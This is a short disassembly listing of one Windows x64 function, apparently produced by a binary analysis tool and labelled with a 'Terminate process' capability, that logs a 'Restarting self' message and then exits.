Function at 0x140011fa0
Capabilities:
Terminate process

Disassembly:
jmp 0x140026600
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14004e4d7]
call fcn.140011f19
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
lea rdx, str.Restart_requested:_Restarting_self
mov rcx, qword [rbp + 0x108]
call fcn.14001175d
mov qword [rbp + 0x118], rax
mov r8d, 2
mov rdx, qword [rbp + 0x118]
mov rcx, qword [0x140043720]
call fcn.1400115d7
lea rcx, [0x140043c68]
call fcn.14001118b
xor edx, edx
mov rcx, rax
call fcn.1400118ca
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret